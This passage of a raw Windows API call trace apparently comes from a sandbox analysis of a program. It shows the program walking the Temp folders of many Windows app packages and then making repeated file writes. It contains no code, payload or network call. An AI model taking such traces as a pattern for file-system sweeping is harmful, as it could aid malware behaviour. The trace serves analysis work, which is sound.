hFindFile=0x30d2630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x30d2630, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c655d83, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9663, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c655d83, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.873] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179e373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2570 [0200.873] FindNextFileW (in: hFindFile=0x30d2570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179e373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x30d2570, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179e373, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19ce8eec, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.873] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18c12bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e7bf5e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2270 [0200.873] FindNextFileW (in: hFindFile=0x30d2270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18c12bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e7bf5e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.873] FindNextFileW (in: hFindFile=0x30d2270, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3e7bf5e, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd18c12bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe3e7bf5e, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.873] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbedebf51, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbedebf51, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbedebf51, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d21f0 [0200.874] FindNextFileW (in: hFindFile=0x30d21f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbedebf51, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbedebf51, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbedebf51, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x30d21f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbedebf51, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xbedebf51, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xbedebf51, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.874] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab537f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe2a1d9f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d25b0 [0200.874] FindNextFileW (in: hFindFile=0x30d25b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab537f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe2a1d9f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.874] FindNextFileW (in: hFindFile=0x30d25b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2a1d9f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ab537f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe2a1d9f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.874] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba21f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9776d2f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2670 [0200.874] FindNextFileW (in: hFindFile=0x30d2670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba21f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9776d2f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.877] FindNextFileW (in: hFindFile=0x30d2670, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9776d2f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1ba21f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9776d2f, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.877] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1c1bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x67ede02, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d22f0 [0200.878] FindNextFileW (in: hFindFile=0x30d22f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1c1bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x67ede02, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.878] FindNextFileW (in: hFindFile=0x30d22f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ede02, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1c1c1bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x67ede02, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.878] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1f20fd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x41ee58e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d20f0 [0200.878] FindNextFileW (in: hFindFile=0x30d20f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1f20fd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x41ee58e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.878] FindNextFileW (in: hFindFile=0x30d20f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ee58e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd1f20fd1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x41ee58e, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.878] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084d49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d20b0 [0200.878] FindNextFileW (in: hFindFile=0x30d20b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084d49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x30d20b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084d49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.879] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223eab9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2070 [0200.879] FindNextFileW (in: hFindFile=0x30d2070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223eab9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x30d2070, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9194e327, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd223eab9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x9194e327, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.879] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93618cd3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239a476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93618cd3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2330 [0200.879] FindNextFileW (in: hFindFile=0x30d2330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93618cd3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239a476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93618cd3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.879] FindNextFileW (in: hFindFile=0x30d2330, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93618cd3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd239a476, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93618cd3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.879] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d23b0 [0200.880] FindNextFileW (in: hFindFile=0x30d23b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.880] FindNextFileW (in: hFindFile=0x30d23b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2306679, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xf2306679, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xf2306679, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.880] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d2430 [0200.880] FindNextFileW (in: hFindFile=0x30d2430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.880] FindNextFileW (in: hFindFile=0x30d2430, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x924fb15e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x924fb15e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x924fb15e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.880] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneMusic_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc6b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d25f0 [0200.880] FindNextFileW (in: hFindFile=0x30d25f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc6b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.881] FindNextFileW (in: hFindFile=0x30d25f0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfac756bf, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd24fc6b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfac756bf, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 0 [0200.881] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.ZuneVideo_8wekyb3d8bbwe\\AC\\Temp\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2639eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d24b0 [0200.881] FindNextFileW (in: hFindFile=0x30d24b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf68a8755, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd2639eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf68a8755, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.883] WriteFile (in: hFile=0x1de4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.884] CloseHandle (hObject=0x1de4) returned 1 [0200.884] WriteFile (in: hFile=0x1de4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.885] CloseHandle (hObject=0x1de4) returned 1 [0200.886] WriteFile (in: hFile=0x1de4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.887] CloseHandle 